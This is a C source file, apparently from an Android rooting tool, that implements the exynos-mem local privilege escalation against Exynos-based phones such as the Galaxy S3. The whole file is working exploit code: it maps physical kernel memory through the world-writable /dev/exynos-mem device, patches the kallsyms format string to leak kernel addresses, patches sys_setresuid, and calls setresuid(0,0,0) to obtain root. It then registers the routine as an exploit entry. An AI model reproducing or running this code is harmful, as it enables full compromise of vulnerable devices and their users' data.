/*
 * Copyright (C) 2009 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>

#include <string.h>
#include <jni.h>
#include "log.h"
#include "exploit.h"

#define TAG   "ToRoot"

/*
 * exynos-mem device abuse by alephzain
 *
 * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
 *
 * the device is R/W by all users :
 * crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem
 *
 */

/*
 * Abuse it for root shell
 */


#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000

/**
 * 0 means success
 * */
int toRoot() {
	int fd, i, m, index, result;

	unsigned long *paddr = NULL;
    unsigned long *tmp = NULL;
    unsigned long *restore_ptr_fmt = NULL;
    unsigned long *restore_ptr_setresuid = NULL;
    unsigned long addr_sym;

	int page_size = sysconf(_SC_PAGE_SIZE);
    int length = page_size * page_size;

    /* for root shell */
    char *cmd[2];
    cmd[0] = "/system/bin/sh";
    cmd[1] = NULL;

    /* /proc/kallsyms parsing */
    FILE *kallsyms = NULL;
    char line [512];
    char *ptr;
    char *str;

    int found = 0;

    /* open the door */
	fd = open("/dev/exynos-mem", O_RDWR);
	if (fd == -1) {
		LOGV("[!] Error opening /dev/exynos-mem\n");
		return 1;
	}


    /* kernel reside at the start of physical memory, so take some Mb */
    paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
    tmp = paddr;
    if (paddr == MAP_FAILED) {
    	LOGV("[!] Error mmap: %s|%08X\n",strerror(errno), i);
        return 1;
    }

    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */
    for(m = 0; m < length; m += 4) {
        if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
        	LOGV("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
            restore_ptr_fmt = tmp;
            *(unsigned long*)tmp = 0x20207025;
            found = 1;
            break;
        }
        tmp++;
    }

    if (found == 0) {
    	LOGV("[!] s_show->seq_printf format string not found\n");
        return 1;
    }

    found = 0;


    /* kallsyms now display symbols address */
    kallsyms = fopen("/proc/kallsyms", "r");
    if (kallsyms == NULL) {
    	LOGV("[!] kallsysms error: %s\n", strerror(errno));
        return 1;
    }


    /* parse /proc/kallsyms to find sys_setresuid address */
    while((ptr = fgets(line, 512, kallsyms))) {
        str = strtok(ptr, " ");
        addr_sym = strtoul(str, NULL, 16);
        index = 1;
        while(str) {
            str = strtok(NULL, " ");
            index++;
            if (index == 3) {
                if (strncmp("sys_setresuid\n", str, 14) == 0) {
//                    printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
                    found = 1;
                }
                break;
            }
        }
        if (found) {
            tmp = paddr;
            tmp += (addr_sym - PAGE_OFFSET) >> 2;
            for(m = 0; m < 128; m += 4) {
                if (*(unsigned long *)tmp == 0xe3500000) {
//                    printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
                    restore_ptr_setresuid = tmp;
                    *(unsigned long *)tmp = 0xe3500001;
                    break;
                }
                tmp++;
            }
            break;
        }
    }

    fclose(kallsyms);

    /* to be sure memory is updated */
    usleep(100000);

    /* ask for root */
    result = setresuid(0, 0, 0);

    /* restore memory */
    *(unsigned long *)restore_ptr_fmt = 0x204b7025;
    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
    munmap(paddr, length);
    close(fd);

    if (result) {
    	LOGV("[!] set user root failed: %s\n", strerror(errno));
        return 1;
    }

    /* execute a root shell */
    //execve (cmd[0], cmd, env);

	return 0;
}


exploit_t EXPLOIT_exynos_1 = {
    .name = "exynos_1",
    .call_direct = toRoot,
};

void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(exynos_1);

//    switch (g_type) {
//
//    case S_exynos_1:
//    	ADDEXP(exynos_1);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
